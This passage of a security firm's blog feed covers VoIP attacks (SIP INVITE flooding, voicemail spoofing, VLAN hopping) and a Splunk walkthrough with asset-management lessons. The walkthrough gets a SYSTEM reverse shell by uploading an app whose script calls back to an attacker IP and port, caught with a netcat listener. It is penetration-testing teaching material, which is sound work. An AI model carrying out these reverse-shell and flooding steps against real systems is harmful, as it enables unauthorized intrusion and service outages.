incoming calls. <em>Always consult with your client performing Denial-of-Service attacks as they are destructive in nature.</em></p><p>We can use Inviteflood (available through APT) to cause a denial-of-service by sending an extremely large amount of <strong>INVITE</strong> requests to the SIP server. Performing this attack will prevent outgoing calls.</p><p>Inviteflood usage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*e08nTbXEMS1_8Vz_vWTL2Q.png" /><figcaption>Flooding the SIP Server with INVITE Requests</figcaption></figure><p>While <strong>INVITE</strong> requests are being sent at a high rate it will not be possible to make any calls. It is also possible to flood the SIP server with non-existing extensions to force it to create 404 errors, slowing it down and potentially crashing it.</p><p>Aside from the above method, there are many more ways to susceptibility to Denial-of-Service attacks, such as sending a crafted <strong>BYE</strong> request to end calls.</p><h3>Voicemail Spoofing</h3><p>Voice mail spoofing is one of our favorite attacks. It is a very simple but effective attack if combined with social engineering (Vishing).</p><p>Voicemail spoofing is possible due to unencrypted communications allowing us to manipulate the parameters in the <strong>INVITE</strong> request to impersonate anyone we like.</p><p>We can use Inviteflood (the same tool we used to perform a denial-of-service attack) to manipulate the <strong>INVITE</strong> parameter and spoof voicemails.</p><p><strong>Inviteflood usage:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*t_V_GyhVw47b5cm8Ad7PgQ.png" /><figcaption>Spoofed Request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*YL3zSHWYvqiKFQJTctUAKg.png" /><figcaption>Spoofed SIP INVITE</figcaption></figure><p>This attack has been found to be very useful during our red team engagements. Here is one such scenario:</p><p>During an assessment we managed to gain access by leveraging a vulnerability on an externally facing server. Once inside, we deployed a L2VPN tunnel and were able to view and intercept all traffic passing over the wire. While analyzing the traffic, we noticed an insecure VoIP implementation, which allowed us to spoof the internal IT department extension and perform a social engineering attack against the employees. This attack eventually resulted in full compromise of the internal network.</p><h3>VLAN Hopping</h3><p>In a properly configured environment VoIP traffic is linked to a designated VLAN known as the Voice VLAN. Ideally, this VLAN should be completely segregated from the office network (DATA VLAN). This will prevent an attacker from intercepting VoIP traffic using a sniffing tool. VLAN hopping is the ability to jump from the VoIP network to the office network.</p><p>Most IP phones have a built in switch. The end user’s PC is connected to a tagged port on the phone usually labeled PC, and the phone is connected from its LAN port to a managed switch.</p><p>In order to perform VLAN Hopping we will use a tool called VoIP Hopper. Voip Hopper mimics the behavior of an IP phone. The tool supports multiple discovery protocols (such as DHCP, CDP, and LLDP-MED).</p><p>It works by creating a new Ethernet interface on the PC that tags the 802.1q VLAN header in the Ethernet packet. After VoIP Hopper has created the new Ethernet device, it will send a DHCP client request.</p><p>Before we can attempt to hop between VLANs we have to load 802.1q module in our assessment VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uLt8v4A5axBDtnj0oWL2DQ.png" /><figcaption>Loading the 802.1q Module</figcaption></figure><p>VoipHopper has a feature called Assessment Mode that is especially useful if we don’t know if we are dealing with well-known IP phones such as Cisco, AVAYA, etc.</p><p>A libpcap loop listens for any traffic that could allow the tool to discover the Voice VLAN ID. This includes CDP, LLDP-MED, and 802.1q Ethernet frames containing a VLAN ID saving us from performing the process manually.</p><p><strong>VLAN Hopping using Assessment Mode:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfejbXH6nx1M8vbsjpG1VQ.png" /><figcaption>VoipHopper Assessment Mode</figcaption></figure><p><strong>Hopping with a Known VLAN ID:</strong></p><p>If we already know the VLAN ID, we can attempt to jump directly to it without the need to listen to the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZrzd4T8fcbWQgZbXdglqw.png" /><figcaption>VoipHopper Known VLAN ID</figcaption></figure><p>If successful, we should see a new VLAN added to the interface we specified (eth0 in our example).</p><h3>Provisioning Servers</h3><p>Many organizations use a designated provisioning server to pull configuration files during the soft phone initial boot process. This server pushes configuration settings to the phones in the organization from a main server. The configurations are usually files in various formats and binaries. Using a tool such as Wireshark we can sometimes locate these files.</p><p>These files can potentially contain sensitive information such as passwords for the phone management interfaces which can be very valuable for an attacker. If an attacker gains access to the phone management interface they could cause destructive attacks such as altering configurations or changing passwords. If compromised, a provisioning server could also be leveraged to pivot further into the network or even gain an initial foothold within the Active Directory environment.</p><h3>Closing Thoughts</h3><p>In closing, VoIP is an often overlooked area of focus for internal assessments but as we have demonstrated it can be easily misconfigured and leveraged to perform a variety of attacks such as eavesdropping to gain access to potentially sensitive information, denial-of-service attacks that can lead to interruptions and downtime, VLAN hopping to move around an internal network, as well as a foothold for social engineering. A VoIP system should be treated as any other system with a large attack surface and should be deployed and configured in a secure manner to prevent potentially devastating attacks.</p><p><strong><em>Note</em></strong><em>: There are many ways to perform any of the demonstrated attacks, we chose the most convenient one for us.</em></p><p>Interested in hearing more about our services?</p><p>Contact us at <a href="/service/mailto:info@vartaisecurity.com">info@vartaisecurity.com</a> to discuss your unique project needs.</p><h3>References</h3><ul><li><a href="https://en.wikipedia.org/wiki/Real-time_Transport_Protocol">Real-time Transport Protocol</a></li><li><a href="http://voiphopper.sourceforge.net/details.html">Details - VoIP Hopper</a></li></ul><p><a href="https://www.ietf.org/rfc/rfc3550.txt">http://www.ietf.org/rfc/rfc3550.txt</a></p><p><a href="https://www.ietf.org/rfc/rfc3261.txt">http://www.ietf.org/rfc/rfc3261.txt</a></p><p><a href="https://en.wikipedia.org/wiki/Voice_over_IP">Voice over IP - Wikipedia</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1791602e1b4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4">Practical VoIP Penetration Testing</a> was originally published in <a href="https://medium.com/vartai-security">Vartai Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Splunk Service Misuse]]></title>
            <link>https://medium.com/vartai-security/splunk-service-misuse-dce167c1d572?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/dce167c1d572</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Tue, 24 Sep 2019 15:59:04 GMT</pubDate>
            <atom:updated>2019-09-25T00:34:05.083Z</atom:updated>
            <content:encoded><![CDATA[<h3>An Introduction to Our View</h3><p>What better way to start our technical series blog than with equating technical issues with deep core fundamental ones? We pride ourselves on dismantling the status quo surrounding how issues are perceived within the organizations that we work with. That generally means our job is demystifying technical issues into actionable roadmaps for the clients to implement — not just to address the technical issue, but to fundamentally mature their information security program to discover root causes and defend against them in the future.</p><blockquote>“We pride ourselves on dismantling the status quo surrounding how issues are perceived within the organizations that we work with.”</blockquote><h3>Root Cause Analysis</h3><p>The idea of “root-cause” analysis has become a commoditized string of words in the field over the years. The uptake and prevalence of multidimensional “remediation” is far from what it should be. This is particularly apparent when we get the opportunity to help clients through similar issues they’ve had in the past. The “why” behind the client’s status quo becomes much clearer when we look at the guidance that was provided by the previous assessor, which most times, simply centers on fixing the host, URL, or software package associated with a finding on a “report” that was given.</p><p>We’re not here to discuss those details in particular, but the fact remains that understanding the chain of controls necessary to truly facilitate — what we call “remediation” — is far greater than those promoted within reports.</p><p>This lack of understanding is clearly making <strong>resilient security programs</strong> very hard to come by.</p><h3>“Resilient” — You Say?</h3><p>Resilient is another keyword in the cyber industry. We find it odd that a word, whose meaning is directly related to the prevalence of sustaining continued threats, is promoted by so many, yet the meaning of it is lost or even non-existent when reading “remediation guidance” typically included with technical issues on reports. Resilient means that you can sustain all attacks, not just the ones that you know about. Resilient means processes are in place to protect against deviations to the established normality of operations. Resilient means that you know, at minimum, what you have to protect.</p><blockquote>“Resilient means that you can sustain all attacks, not just the ones that you know about.”</blockquote><p>Lapses in asset management are an area often responsible for breaches and/or initial footholds during penetration tests and red team assessments. In fact, it&#39;s appropriately the most important control called out by leading control frameworks (NIST, SANS, CSC). Often this is a result of weak and in some cases non-existent change control process. Other factors such as non-existing hardening templates for systems, policy violations, and or lack of business processes can also contribute to asset management mishaps. Too often, default passwords, overly permissive services, and application misuse become the first steps to a full compromise.</p><p>Let’s take a look at how one type of <strong>unintentional (seemingly innocent) lapses</strong> can lead to cracks in your entire environment.</p><h3>Splunk Service Misuse</h3><p>The following example is based on a real-world assessment our team at Vartai performed some time ago. During a network discovery scan looking for specific and known web service ports, we encountered a service hosted on port 8000. A common application which defaults to port 8000 is Splunk. Splunk can be used to search, monitor, and analyze all shapes and sizes of logs and big data. To support these functions, there is an underlying script execution feature that, if left unchecked, can be the threat actor’s entry point. In this instance, a privileged user violated the information security policy and installed Splunk without going through change control. The installed version of Splunk required no authentication, and we knew that some of Splunk’s functions allow for execution of scripts on both Windows and Unix type operating systems. The Splunk service itself was running in the context of the powerful NT AUTHORITY\SYSTEM account which allowed us to obtain a connection on the victim machine as a privileged system shell.</p><p>The following is the Technical Walkthrough for the above scenario.</p><h3>Summary of Steps</h3><blockquote>1) The Assessor discovers a Splunk server with no credentials and running an open console.</blockquote><blockquote>2) Splunk allows applications to be uploaded; the Assessor packages a custom application with an embedded reverse shell.</blockquote><blockquote>3) The Assessor leverages this attack to run remote commands on the underlying server and ultimately gain full control over it via a system shell.</blockquote><h3>Accessing the Console</h3><p>First we find an accessible Splunk installation that is not protected password protected. Some versions of Splunk will switch turn off authentication after a trial period. After this, the program will turn off authentication and the Splunk console becomes accessible for all to use. Including , misuse.</p><figure><img alt="Accessing a Splunk Console commonly available on an enterprise network." src="https://cdn-images-1.medium.com/max/977/1*7SIxsMNd9prDvdIk3LF2yQ.png" /></figure><h3>Setting up our Attack Workspace</h3><p>We create a new directory tools with the mkdir command within our Kali Linux installation.</p><p>Then we’ll copy a Splunk reverse shell script to our working folder, so we can access it.</p><blockquote>We have tested the linked script in our lab and reviewed its code. Currently the script will function on both Windows and Linux machines alike, but today we’re going to demonstrate on Windows. Feel free to obtain a free copy via our GitHub repo below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKkm4FbjWr9JPK39JuAxxg.png" /><figcaption>Setting up the workspace and obtaining the reverse shell script.</figcaption></figure><blockquote>root@kali:~/tools# git clone <a href="https://github.com/vartai-security/reverse_shell_splunk.git">https://github.com/vartai-security/reverse_shell_splunk.git</a></blockquote><p><a href="https://github.com/vartai-security/reverse_shell_splunk">vartai-security/reverse_shell_splunk</a></p><h3><strong>Editing the Reverse Shell Files</strong></h3><p>Using your preferred text editor in Kali, insert your attacking IP and preferred port in the &quot;/root/tools/reverse_shell_splunk/run.ps1&quot; file.</p><p>In the picture below, the victim machine will connect back to <strong>ip 10.10.14.2</strong> on port <strong>8555</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yhjP5788QK1UhPW8h4pJcg.png" /><figcaption>Editing the script to target your victim port and IP address</figcaption></figure><h3><strong>Packaging the Splunk App and Starting a Reverse Shell Listener</strong></h3><p>After you made your edits to the run.ps1 file above you’re ready to package the directory containing it so that it can be understood by the Splunk console.</p><p>In this case, we’re going to use the tar command to package the directory into a file that can Splunk can understand, denoted by the file extension .spl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOG2xDzCSPswT3f9OirbdA.png" /></figure><blockquote>tar -cvzf reverse_sell_splunk.spl reverse_shell_splunk</blockquote><blockquote>nc -nlvp 8555</blockquote><h3><strong>Installing the Reverse Shell Splunk Application</strong></h3><p>Now we’re ready to install the newly packaged Splunk application into the Splunk Console so that we can execute it and make headway into gaining a shell on the installation.</p><p>You’ll want to click the “Gear” icon on the top left to action the menu to upload a new file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*1lI7WeO257YLNhy3v7444Q.png" /><figcaption>Accessing the Splunk Apps Action Menu</figcaption></figure><p>Click “install app from file”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*HL3-nC9tmy6q87Glp_fOCg.png" /><figcaption>Browsing to your newly minted Splunk package containing the reverse shell</figcaption></figure><p>Browse and select the reverse_shell_splunk.spl package you created earlier and select “upload”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*EzsKW5F03fdGrqm6_2iSHg.png" /><figcaption>Selecting and Uploading your Reverse Shell package</figcaption></figure><h3><strong>Catching the Shell</strong></h3><p>Now we’re ready to listen for Splunk to connect to our system using the Splunk App that we’ve created. Since we had authority to upload a new application, Splunk Console trusts that we have no evil intention and thus will execute the application code contained within our package without thinking twice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHCeXhvwH0TOxMVp3f3CSQ.png" /><figcaption>Catching a Shell… waiting for our Splunk App to connect to our attack machine</figcaption></figure><p>As you can see above, an NT AUTHORITY\SYSTEM shell was achieved. From this point, we were able to further escalate our privileges to enterprise administrator during the duration of our engagement.</p><p>Unfortunately, scenarios like these are common and may have one or more factors.</p><p>Let’s talk examine some of these factors that don’t get communicated on standard reports when issues like these arise.</p><h3>Asset Management</h3><p>There is a reason that <strong>Asset Management</strong>, or the internal process to track, correlate, and document assets that are IP bound in the environment, is the most important control set called out by frameworks such as the CSC Top 20.</p><p>You cannot defend what you are not aware of. The fact is that Asset Management informs the rest of the Risk Management Framework (RMF). If you do not have an accurate listing of assets that you must protect, you do not have an accurate list of operating systems to patch, of applications to patch, of roles and access rights to lock down; the list continues.</p><p>You don’t have a list of devices to configure audit logging; you don’t have a list of devices for which you must apply a valid Security Configuration Checklist; and further — if you don’t have a baseline of security defined within a checklist, there’s no way that you can perform configuration management on a periodic basis to ensure those minimum security controls are operating as intended.</p><blockquote>“You cannot defend what you are not aware of. The fact is that Asset Management informs the rest of the Risk Management Framework (RMF).”</blockquote><p>In the example above, we had a valid system that was being tracked at the server level, the IP address/hostname level. That meant that the “system” was actually on an inventory, somewhere in the client’s environment. IT staff thought they were doing their job. They thought that’s what the compliance frameworks meant by “Asset Management.”</p><p>They were wrong.</p><h3>Assets Are Not Just IP addresses</h3><p>You see, there’s more to Asset Management than just having a list of IP addresses for each system in your environment. Asset Management is about “managing” the assets throughout the RMF. True <strong>Asset Management</strong> uses the meta-data associated with each asset as validated inputs to help govern virtually all of the supporting controls that you might think you need to secure a device (e.g., configuration management, logging, auditing, patch management, flaw remediation, vulnerability management, change control, administrative access,— the list goes on).</p><p>So, what is in the meta-data that is so important?</p><p>That’s where the power of true Asset Management can help you mature your other processes, but ultimately “Asset” in the sense of hacker, is just a port. A service. A protocol. Hosts have IP addresses; those IP addresses have ports (open or closed) which then have protocols tied to them. Those protocols have services, and so on along up the chain until we arrive at specific applications using those services, protocols, and ports to communicate data throughout your enterprise.</p><blockquote>“When attackers “attack” they attack the port. They attack the service running on the port. They attack the application using the service running on the port.”</blockquote><h3>What does “Asset” really mean?</h3><p>The takeaway here is that effective network security is centered around the ability to track your Assets the way that hackers track your assets. At the port, service, protocol, and application level. It sounds like a big task, and it is, which is why it’s so important and likely overlooked in the industry and throughout enterprise networks small and large.</p><h3>But Sir, we have an SDLC!</h3><p>The other main breakdown, associated with the client’s Software Development Lifecycle (SDLC), is also directly tied to their Asset Management.</p><p>In our example, the client had a formal process to validate and approved changes <strong>they knew about </strong>within the environment. This limited awareness ultimately led to a false-sense of security and a lack of critical thinking about how they defined a “change.”</p><blockquote>“Changes in the environment happen all the time. In this case, a rogue change to install Splunk meant that the entire network fell to compromise.”</blockquote><p>Changes in the environment happen all the time. In this case, a rogue change to install Splunk meant that the entire network fell to compromise. That change lived outside the defined SDLC process, and thus never had a chance of being discovered, let alone remediated.</p><p>The link to Asset Management is critical here. If the client was appropriately using network and application discovery tools to identify changes in their baseline state of “Assets,” (e.g., ports, protocols, services, applications) they would have identified the Splunk installation, thus preventing this compromise. The fact that Asset Management was only being performed at the IP address level was the first flaw in their internal processes. The second was the lack of Change Management maturity with respect to the granularity they were checking for new changes. The third, and not nearly the last issue, was the lack of integration between the change identification process and their validated SDLC process.</p><h3>Back to Basics</h3><p>Ultimately, we come back to the core principle of only being able to protect what you know you have. We could continue to define ways the entire enterprise strategy for security had failed to catch the client’s issue that led to compromise, but it would be a book, rather than a blog post.</p><blockquote>“The final takeaway is that not only should a company work to fix issues that are found on security assessments, but they should look for a <strong>root cause analysis that drives enhanced capability and maturity</strong> throughout their entire Risk Management Framework.”</blockquote><p>Each “finding” is an opportunity to look at the greater weaknesses that persist in the people, processes, and technology of the organization, not just another change request to disable a service, or uninstall a rogue application that led to their compromise on a security audit.</p><p>Having insight into the web of interactions necessary to deploy an effective security program is one of the most important abilities and responsibilities of the CISO and the rest of their security staff. At minimum, your assessment providers should help inform and augment these abilities.</p><p>Interested in hearing more about our services?</p><p>Contact us at <a href="/service/mailto:info@vartaisecurity.com">info@vartaisecurity.com</a> to discuss your unique project needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dce167c1d572" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vartai-security/splunk-service-misuse-dce167c1d572">Splunk Service Misuse</a> was originally published in <a href="https://medium.com/vartai-security">Vartai Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Defending the Cyber Gate]]></title>
            <link>https://medium.com/@vartaisecurity/defending-the-cyber-gate-6888d26066a2?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6888d26066a2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Thu, 18 Jul 2019 20:45:03 GMT</pubDate>
            <atom:updated>2019-07-18T20:45:03.690Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOv9856kz7OsvYx3UDitVA.png" /></figure><p><strong>Overview</strong></p><p>Vartai Security is a unique provider of cyber resiliency measures based in Tampa, Florida and Washington DC. Vartai was founded by members of the information security industry (Ben Rollin, Alain Morgado, and John Dileo) with over 40 years of combined experience. Vartai specializes in delivering comprehensive offensive and defensive countermeasures throughout the business lifecycle to defend against adversarial compromise. We are full range cyber operators that protect, secure, train, and mature information networks no matter the size or industry.</p><p>The Vartai team holds over four decades of collective experience in the Information Technology and Information Security industries. Our practitioners hold highly regarded industry certifications such as the Offensive Security Certified Expert (OSCE), Offensive Security Certified Professional (OSCP), Certified Information Systems Security Professional (CISSP), Certified Information Systems Auditor (CISA), as well as various Microsoft and Cisco vendor certifications. We have spoken at security conferences, delivered seminars and training courses, and published open source security tools and research.</p><p><strong>Our Story</strong></p><p>Vartai is the Lithuanian word for “gate” or “gateway”. The name was chosen both to honor both my Lithuanian heritage and as a symbol of the type of resilient information security programs we strive to help our clients build. We decided to start Vartai after spending years in small, medium-sized and “Big 4” consulting firms and noticing a recurring theme: companies with armies of salespeople selling services they may not understand to support (at times unrealistic) internal chargeability goals. When operating in this manner the overall morale of employees can suffer and overall quality of work becomes degraded. In order to perform the amount of assessments scheduled in a short period of time, senior assessors may have to cut corners and not have the time to dig in with manual testing and find the types of severe flaws that automated scanning tools miss. This was especially evident when coming across prior assessment reports from other firms while perusing file shares. Another issue is that firms are sometimes forced to assign inexperienced testers to complete project with little to no training, guidance, and oversight.</p><p>With Vartai we aim to build a firm focused on exceptional, personal, client service and delivering extremely high quality assessments that can be utilized to affect real change within the organizations they work with. All Vartai personnel from senior management to our staff assessors come from a technical background and have many years of experience delivering assessments across a multitude of organizations within the public and private sectors. Our goal is not to churn out as many assessments as possible but to become trusted advisors to our clients and assist with maturing their information security program from a technical, policy, and procedure standpoint with a focus on aligning with widely accepted industry standards such as NIST 800–53.</p><p>You can find Vartai personnel in the community giving hands-on trainings for organizations such as ISC2, offering lunch and learn events on current technical issues to current and prospective clients, speaking at local college and university information security clubs, and helping to train the next generation of information security professionals through our close ties with the online penetration testing training platform Hack the Box.</p><p>Interested in hearing more about our services? Contact us at <a href="/service/mailto:info@varaisecurity.com">info@varaisecurity.com</a> to discuss your unique project needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6888d26066a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>